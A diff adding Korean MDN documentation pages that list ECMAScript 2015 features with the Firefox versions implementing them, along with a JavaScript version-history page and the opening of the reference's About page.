+<p>"ES.next", "Harmony", or "ECMAScript 6" 등의 코드네임으로 불린 이 표준은 2011년 7월 12일에 "ES.next"라는 명칭으로 초안이 발표되었습니다. 2014년 8월 드디어 ECMAScript 2015 초안의 기능들이 확정되고 안정화와 버그 수정 작업에 들어갔습니다. 그리고 2015년 6월 17일, 드디어 ECMA-262 Edition 6은 ECMA 총회(General Assembly)의 공식 승인을 받아 배포되었습니다. 이 표준은 국제 산업 규격 ISO/IEC 16262:2016이기도 합니다.</p>
+
+<p><a href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">PDF</a>와   <a href="http://www.ecma-international.org/ecma-262/6.0/index.html">HTML</a> 버전의 표준을 <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ecma-international.org 에서 무료로 다운로드 할 수 있습니다</a>.</p>
+</div>
+
+<p>ECMAScript 표준에 대한 피드백 채널은 <a href="https://mail.mozilla.org/listinfo/es-discuss">es-discuss</a>을 이용하시면 됩니다.</p>
+
+<h2 id="표준_라이브러리">표준 라이브러리</h2>
+
+<h3 id="Array_객체_추가사항"><code>Array</code> 객체 추가사항</h3>
+
+<ul>
+ <li>{{jsxref("Array")}} iteration with {{jsxref("Statements/for...of", "for...of")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/13" style='background-color: rgb(255, 255, 255); font-family: "Open Sans", arial, x-locale-body, sans-serif;'>Firefox 13</a><span style='background-color: #ffffff; color: #333333; font-family: "Open Sans",arial,x-locale-body,sans-serif;'>)</span></li>
+ <li>{{jsxref("Array.from()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/32">Firefox 32</a>)</li>
+ <li>{{jsxref("Array.of()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Array.prototype.fill()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Array.prototype.find()")}}, {{jsxref("Array.prototype.findIndex()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Array.prototype.entries()")}},<br>
+ {{jsxref("Array.prototype.keys()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/28">Firefox 28</a>),<br>
+ {{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.copyWithin()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/32">Firefox 32</a>)</li>
+ <li>{{jsxref("Array.@@species", "get Array[@@species]")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/48">Firefox 48</a>)</li>
+</ul>
+
+<h3 id="새로운_Map과_Set_객체_그리고_WeakMap과_WeakSet_객체">새로운 <code>Map</code>과 <code>Set</code> 객체 그리고 <code>WeakMap과</code> <code>WeakSet 객체</code></h3>
+
+<ul>
+ <li>{{jsxref("Map")}} (<a href="/en-US/Firefox/Releases/13">Firefox 13</a>)
+
+ <ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}}에서의 {{jsxref("Map")}} 반복 (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li>
+ <li>{{jsxref("Map.prototype.forEach()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Map.prototype.entries()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li>
+ <li>{{jsxref("Map.prototype.keys()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+ <li>생성자 인수: <code>new {{jsxref("Map")}}(null)</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li>
+ <li>몽키 패치 된 생성자 내의 <code>set()</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li>
+ <li>{{jsxref("Map.@@species", "get Map[@@species]")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/41">Firefox 41</a>)</li>
+ </ul>
+ </li>
+ <li>{{jsxref("Set")}} (<a href="/en-US/Firefox/Releases/13">Firefox 13</a>)
+ <ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}}에서의 {{jsxref("Set")}} 반복 (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li>
+ <li>{{jsxref("Set.prototype.forEach()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Set.prototype.entries()")}},<br>
+ {{jsxref("Set.prototype.keys()")}},<br>
+ {{jsxref("Set.prototype.values()")}} (<a href="/en-US/Firefox/Releases/24">Firefox 24</a>)</li>
+ <li>생성자 인수: <code>new {{jsxref("Set")}}(null)</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li>
+ <li>몽키 패치 된 생성자 내의 <code>add()</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li>
+ </ul>
+ </li>
+ <li>{{jsxref("WeakMap")}} (<a href="/en-US/Firefox/Releases/6">Firefox 6</a>)
+ <ul>
+ <li>{{jsxref("WeakMap.clear()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li>
+ <li>반복 가능한 {{jsxref("WeakMap")}} 생성자 내의 선택적 인수 (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li>
+ <li>생성자 인수: <code>new {{jsxref("WeakMap")}}(null)</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li>
+ <li>몽키 패치 된 생성자 내의 <code>set()</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li>
+ </ul>
+ </li>
+ <li>{{jsxref("WeakSet")}} (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)
+ <ul>
+ <li>생성자 인수: <code>new {{jsxref("WeakSet")}}(null)</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li>
+ <li>몽키 패치 된 생성자 내의 <code>add()</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li>
+ </ul>
+ </li>
+</ul>
+
+<h3 id="새로운_Math_함수">새로운 <code>Math</code> 함수</h3>
+
+<ul>
+ <li>{{jsxref("Math.imul()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li>
+ <li>{{jsxref("Math.clz32()")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Math.fround()")}} (<a href="/en-US/Firefox/Releases/26">Firefox 26</a>)</li>
+ <li>{{jsxref("Math.log10()")}}, {{jsxref("Math.log2()")}}, {{jsxref("Math.log1p()")}}, {{jsxref("Math.expm1()")}}, {{jsxref("Math.cosh()")}}, {{jsxref("Math.sinh()")}}, {{jsxref("Math.tanh()")}}, {{jsxref("Math.acosh()")}}, {{jsxref("Math.asinh()")}}, {{jsxref("Math.atanh()")}}, {{jsxref("Math.hypot()")}}, {{jsxref("Math.trunc()")}}, {{jsxref("Math.sign()")}}, {{jsxref("Math.cbrt()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+</ul>
+
+<h3 id="Number_객체_추가사항"><code>Number</code> 객체 추가사항</h3>
+
+<ul>
+ <li>{{jsxref("Number.isNaN()")}} (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li>
+ <li>{{jsxref("Number.isFinite()")}} (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li>
+ <li>{{jsxref("Number.isInteger()")}} (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li>
+ <li>{{jsxref("Number.parseInt()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Number.parseFloat()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Number.EPSILON")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Number.MAX_SAFE_INTEGER")}}, {{jsxref("Number.MIN_SAFE_INTEGER")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Number.isSafeInteger()")}} (<a href="/en-US/Firefox/Releases/32">Firefox 32</a>)</li>
+</ul>
+
+<h3 id="Object_객체_추가사항"><code>Object</code> 객체 추가사항</h3>
+
+<ul>
+ <li>{{jsxref("Object.prototype.__proto__")}}가 표준이 되었습니다.</li>
+ <li>{{jsxref("Object.is()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/22">Firefox 22</a>)</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Object.assign()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li>{{jsxref("Object.getOwnPropertySymbols()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/33">Firefox 33</a>)</li>
+</ul>
+
+
+
+<h3 id="Date_객체_추가사항"><code>Date</code> 객체 추가사항</h3>
+
+<ul>
+ <li>{{jsxref("Date.prototype")}} is an ordinary object (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/41">Firefox 41</a>)</li>
+ <li>generic {{jsxref("Date.prototype.toString")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/41">Firefox 41</a>)</li>
+ <li>{{jsxref("Date.prototype.@@toPrimitive", "Date.prototype[@@toPrimitive]")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/44">Firefox 44</a>)</li>
+</ul>
+
+
+
+<h3 id="새로운_Promise_객체">새로운 <code>Promise</code> 객체</h3>
+
+<ul>
+ <li>{{jsxref("Promise")}} (<a href="/en-US/Firefox/Releases/24">Firefox 24</a>(<a href="/en-US/Firefox/Releases/29">Firefox 29</a>에서 기본값으로 활성화 되어 있음))</li>
+</ul>
+
+
+
+<h3 id="새로운_Proxy_객체">새로운 <code>Proxy</code> 객체</h3>
+
+<ul>
+ <li>{{jsxref("Proxy")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/18">Firefox 18</a>)</li>
+ <li>{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "preventExtensions()")}} trap (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/22">Firefox 22</a>)</li>
+ <li>{{jsxref("Global_Objects/Proxy/handler/isExtensible", "isExtensible()")}} trap (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "getPrototypeOf()")}} and {{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "setPrototypeOf()")}} traps (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+</ul>
+
+
+
+<h3 id="새로운_Reflect_객체">새로운 <code>Reflect</code> 객체</h3>
+
+<ul>
+ <li>{{jsxref("Reflect")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/42">Firefox 42</a>)</li>
+</ul>
+
+
+
+
+
+<h3 id="RegExp_객체_추가사항"><code>RegExp</code> 객체 추가사항</h3>
+
+<ul>
+ <li>{{jsxref("RegExp")}} sticky (y) flag (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/38">Firefox 38</a>)</li>
+ <li>{{jsxref("RegExp")}} unicode (u) flag (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/46">Firefox 46</a>)</li>
+ <li>generic {{jsxref("RegExp.prototype.toString")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/39">Firefox 39</a>)</li>
+ <li>{{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("RegExp.@@species", "get RegExp[@@species]")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+</ul>
+
+<h3 id="String_객체_추가사항"><code>String</code> 객체 추가사항</h3>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}} (<a href="/en-US/Firefox/Releases/29">Firefox 29</a>)</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}} (<a href="/en-US/Firefox/Releases/29">Firefox 29</a>)</li>
+ <li>{{jsxref("String.prototype.startsWith()")}}, {{jsxref("String.prototype.endsWith()")}} (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li>
+ <li>{{jsxref("String.prototype.includes()")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/40">Firefox 40</a>) (formerly <code>String.prototype.contains()</code> (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/17">Firefox 17</a>))</li>
+ <li>{{jsxref("String.prototype.repeat()")}} (<a href="/en-US/Firefox/Releases/24">Firefox 24</a>)</li>
+ <li>{{jsxref("String.prototype.normalize()")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("String.raw()")}} (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li>{{jsxref("Global_Objects/String", "u{XXXXXX} 유니코드 코드 포인트", "", 1)}} (<a href="/en-US/Firefox/Releases/40">Firefox 40</a>)</li>
+</ul>
+
+<h3 id="새로운_Symbol_객체">새로운 <code>Symbol</code> 객체</h3>
+
+<ul>
+ <li>{{jsxref("Symbol")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/36">Firefox 36</a>)</li>
+ <li>{{jsxref("Symbol.iterator")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/36">Firefox 36</a>)</li>
+ <li>{{jsxref("Symbol.for()")}} - global Symbol registry (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/36">Firefox 36</a>)</li>
+ <li>{{jsxref("Symbol.match")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/40">Firefox 40</a>)</li>
+ <li>{{jsxref("Symbol.species")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/41">Firefox 41</a>)</li>
+ <li>{{jsxref("Symbol.toPrimitive")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/44">Firefox 44</a>)</li>
+ <li>{{jsxref("Symbol.prototype.@@toPrimitive", "Symbol.prototype[@@toPrimitive]")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/44">Firefox 44</a>)</li>
+ <li>{{jsxref("Symbol.replace")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("Symbol.search")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("Symbol.split")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("Symbol.hasInstance")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/50">Firefox 50</a>)</li>
+</ul>
+
+<h3 id="형식화된_배열">형식화된 배열</h3>
+
+<p>형식화된 배열은 ECMAScript 2015의 일부로 지정되었고, 더 이상 <a href="https://www.khronos.org/registry/typedarray/specs/latest/">자신의 기존 명세서</a>를 따르지 않습니다.</p>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/48">Firefox 48</a>)</li>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("Int8Array")}}</li>
+ <li>{{jsxref("Uint8Array")}}</li>
+ <li>{{jsxref("Uint8ClampedArray")}}</li>
+ <li>{{jsxref("Int16Array")}}</li>
+ <li>{{jsxref("Uint16Array")}}</li>
+ <li>{{jsxref("Int32Array")}}</li>
+ <li>{{jsxref("Uint32Array")}}</li>
+ <li>{{jsxref("Float32Array")}}</li>
+ <li>{{jsxref("Float64Array")}}</li>
+ <li>{{jsxref("TypedArray.@@species", "get %TypedArray%[@@species]")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/48">Firefox 48</a>)</li>
+</ul>
+
+<h2 id="표현식과_연산자">표현식과 연산자</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a> (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/41">Firefox 41</a>)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">배열을 위한 Spread 연산자</a> (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)
+ <ul>
+ <li><code>Symbol.iterator</code> 속성 사용 (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li>
+ </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">함수 호출을 위한 Spread 연산자</a> (<a href="/en-US/Firefox/Releases/27">Firefox 27</a>)
+ <ul>
+ <li><code>Symbol.iterator</code> 속성 사용 (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li>
+ </ul>
+ </li>
+ <li>{{jsxref("Statements/const", "const")}} (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/1.5">JS 1.5</a>, Firefox 1.0) (ES2015 compliance {{bug("950547")}} implemented in Firefox 51)</li>
+ <li>{{jsxref("Statements/let", "let")}} (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JS 1.7</a>, <a href="https://developer.mozilla.org/en-US/Firefox/Releases/2">Firefox 2</a>) (ES2015 compliance {{bug("950547")}} implemented in Firefox 51)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring assignment</a> (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JS 1.7</a>, <a href="https://developer.mozilla.org/en-US/Firefox/Releases/2">Firefox 2</a>) (ES2015 compliance {{bug("1055984")}})</li>
+</ul>
+
+<h2 id="문문장">문(문장)</h2>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}}(<a href="/en-US/Firefox/Releases/13">Firefox 13</a>)
+
+ <ul>
+ <li><code>.iterator()</code>와 <code>.next()</code>에 관한 동작 (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li>
+ <li><code>"@@iterator"</code> 속성 사용 (<a href="/en-US/Firefox/Releases/27">Firefox 27</a>)</li>
+ <li><code>Symbol.iterator</code> 속성 사용 (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="함수">함수</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">Rest 매개 변수</a> (<a href="/en-US/Firefox/Releases/15">Firefox 15</a>)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/default_parameters">Default 매개 변수</a> (<a href="/en-US/Firefox/Releases/15">Firefox 15</a>)
+ <ul>
+ <li>Parameters without defaults after default parameters (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/26">Firefox 26</a>)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters#Destructured_parameter_with_default_value_assignment" title="Default function parameters allow formal parameters to be initialized with default values if no value or undefined is passed.">Destructured parameters with default value assignment</a> (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/41">Firefox 41</a>)</li>
+ </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/arrow_functions">Arrow 함수</a> (<a href="/en-US/Firefox/Releases/22">Firefox 22</a>)</li>
+ <li>{{jsxref("Statements/function*", "Generator 함수")}} (<a href="/en-US/Firefox/Releases/26">Firefox 26</a>)
+ <ul>
+ <li>{{jsxref("Operators/yield", "yield")}} (<a href="/en-US/Firefox/Releases/26">Firefox 26</a>)</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}} (<a href="/en-US/Firefox/Releases/27">Firefox 27</a>)</li>
+ </ul>
+ </li>
+ <li>{{jsxref("Functions/arguments/@@iterator", "arguments[@@iterator]")}} (<a href="https://developer.mozilla.org/en-US/Firefox/Releases/46">Firefox 46</a>)</li>
+</ul>
+
+<h2 id="그_밖의_기능">그 밖의 기능</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Numeric_literals">2진과 8진 숫자 리터럴</a> (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/template_strings">템플릿 문자열</a> (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Property_definitions">객체 이니셜라이져: 줄임 속성 이름</a> (<a href="/en-US/Firefox/Releases/33">Firefox 33</a>)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names">객체 이니셜라이저: 계산된 속성 이름</a> (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Method_definitions">객체 이니셜라이저: 줄임 메소드 이름</a> (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="http://www.ecmascript.org/">ECMAScript 웹 사이트</a></li>
+ <li><a href="http://wiki.ecmascript.org/doku.php?id=harmony:specification_drafts">ECMAScript 2015 명세서 초안</a></li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=694100">Mozilla ES2015 버그 추적</a></li>
+ <li><a href="http://kangax.github.io/es5-compat-table/es6" title="http://kangax.github.io/es5-compat-table">브라우저에서의 ECMAScript 2015 지원</a></li>
+</ul>
diff --git a/files/ko/web/javascript/new_in_javascript/index.html b/files/ko/web/javascript/new_in_javascript/index.html
new file mode 100644
index 0000000000..0972eba4d0
--- /dev/null
+++ b/files/ko/web/javascript/new_in_javascript/index.html
@@ -0,0 +1,71 @@
+---
+title: New in JavaScript
+slug: Web/JavaScript/New_in_JavaScript
+tags:
+ - JavaScript
+ - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>이 장은 JavaScript 버전 이력에 관한 정보 및 Mozilla/SpiderMonkey 기반 JavaScript 애플리케이션, 가령 Firefox의 구현 상태를 포함합니다.</p>
+
+<h2 id="ECMAScript_버전">ECMAScript 버전</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/JavaScript/언어_리소스">언어 리소스</a></dt>
+ <dd>JavaScript 언어의 기반이 된 ECMAScript 표준에 대해 자세히 알아보세요.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5 지원</a></dt>
+ <dd>Mozilla 기반 엔진 및 제품에서 현재 표준 ECMA-262 Edition 5.1의 구현 상태.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">ECMAScript 6 지원</a></dt>
+ <dd>Mozilla 기반 엔진 및 제품에서 초안 ECMA-262 Edition 6 (ES2015/ES6)의 구현 상태.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_7_support_in_Mozilla">ECMAScript Next 지원</a></dt>
+ <dd>Mozilla 기반 엔진 및 제품에서 연간 (ES2016/ES2017/ES2018/...) 출시 계획에 따라 예정된 ECMA-262 기능의 구현 상태.</dd>
+</dl>
+
+<h2 id="JavaScript_출시_기록">JavaScript 출시 기록</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/Firefox_JavaScript_changelog">Firefox JavaScript changelog</a></dt>
+ <dd>Firefox 5 이상에서 구현된 JavaScript 기능은 이 changelog 참조.</dd>
+</dl>
+
+<h2 id="JavaScript_버전">JavaScript 버전</h2>
+
+<p><strong>사라짐</strong> ({{deprecated_inline}}). 명백한 버전 관리 및 언어 기능의 채택은 Mozilla 전용이었고 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=867609">제거되는 과정에 있습니다</a>. Firefox 4는 JavaScript 버전 (1.8.5)에 참조되었던 마지막 버전이었습니다. 새로운 ECMA 표준이 있다면, JavaScript 언어 기능은 이제 종종 ECMA-262 Edition 가령 Edition 6 (ES2015/ES6) 내 그들의 초기 정의에 언급됩니다.</p>
+
+<p>JavaScript는 Netscape Navigator 2.0 및 Internet Explorer 2.0에서 March 1996에 버전 1.0으로 출시되었습니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.1">JavaScript 1.1</a></dt>
+ <dd>Netscape Navigator 3.0에 실린 버전. August 19, 1996에 출시됨.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.2">JavaScript 1.2</a></dt>
+ <dd>Netscape Navigator 4.0-4.05에 실린 버전. June 11, 1997에 출시됨.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.3">JavaScript 1.3</a></dt>
+ <dd>Netscape Navigator 4.06-4.7x에 실린 버전. October 19, 1998에 출시됨.<br>
+ ECMA-262 1st 및 2nd Edition을 따르는 표준화 작업.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.4">JavaScript 1.4</a></dt>
+ <dd>Netscape의 서버측 JavaScript에 실린 버전. 1999에 출시됨.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.5">JavaScript 1.5</a></dt>
+ <dd>Netscape Navigator 6.0 및 Firefox 1.0에 실린 버전. November 14, 2000에 출시됨.<br>
+ ECMA-262 3rd Edition을 따르는 표준화 작업.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.6">JavaScript 1.6</a></dt>
+ <dd>Firefox 1.5에 실린 버전. November 2005에 출시됨.<br>
+ ECMAScript for XML (E4X), 새로운 <code>Array</code> 메서드 더하기 <code>String</code> 및 <code>Array</code> generics 포함.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.7">JavaScript 1.7</a></dt>
+ <dd>Firefox 2에 실린 버전. October 2006에 출시됨.<br>
+ 생성기, 반복기, 배열 내포(comprehension), <code>let</code> 식 및 해체 할당 포함.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.8">JavaScript 1.8</a></dt>
+ <dd>Firefox 3에 실린 버전. June 2008에 출시됨.<br>
+ 식 클로저, 생성기 식 및 <code>Array.reduce()</code> 포함</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.8.1">JavaScript 1.8.1</a></dt>
+ <dd>Firefox 3.5에 실린 버전. June 30, 2009에 출시됨.<br>
+ TraceMonkey JIT 포함 및 native JSON 지원.</dd>
+ <dt>JavaScript 1.8.2</dt>
+ <dd>Firefox 3.6에 실린 버전. June 22, 2009에 출시됨.<br>
+ minor changes만 포함.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.8.5">JavaScript 1.8.5</a></dt>
+ <dd>Firefox 4에 실린 버전. July 27, 2010에 출시됨.<br>
+ ECMA-262 Edition 5를 따르는 많은 새 기능 포함.<br>
+ 이게 마지막 JavaScript 버전입니다.</dd>
+</dl>
diff --git a/files/ko/web/javascript/reference/about/index.html b/files/ko/web/javascript/reference/about/index.html
new file mode 100644
index 0000000000..f558451826
--- /dev/null
+++ b/files/ko/web/javascript/reference/about/index.html
@@ -0,0 +1,51 @@
+---
+title: 소개
+slug: Web/JavaScript/Reference/About
+translation_of: Web/JavaScript/Reference/About
+---
+<p>{{JsSidebar}}<br>
+ The JavaScript reference serves as a repository of facts about the JavaScript language. The entire language is described here in detail. As you write JavaScript code, you'll refer to these pages often (thus the title "JavaScript reference"). If you're learning JavaScript, or need help understanding some of its capabilities or features, check out the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide">JavaScript guide</a>.</p>
+
+<p>The JavaScript language is intended to be used within some larger environment, be it a browser, server-side scripts, or similar. For the most part, this reference attempts to be environment-agnostic and does not target a web browser environment.</p>
+
+<h2 id="Where_to_find_JavaScript_information">Where to find JavaScript information</h2>
+
+<p>JavaScript documentation of core language features (pure <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Language_Resources">ECMAScript</a>, for the most part) includes the following:</p>
+
+<ul>
+ <li>The <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide">JavaScript guide</a></li>
+ <li>The <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference">JavaScript reference</a></li>
+</ul>
+
+<p>If you are new to JavaScript, start with the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide">guide</a>. Once you have a firm grasp of the fundamentals, you can use the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference">reference</a> to get more details on individual objects and language constructs.</p>
+
+<h2 id="Structure_of_the_reference">Structure of the reference</h2>
+
+<p>In the JavaScript reference you can find the following chapters:</p>
+
+<dl>
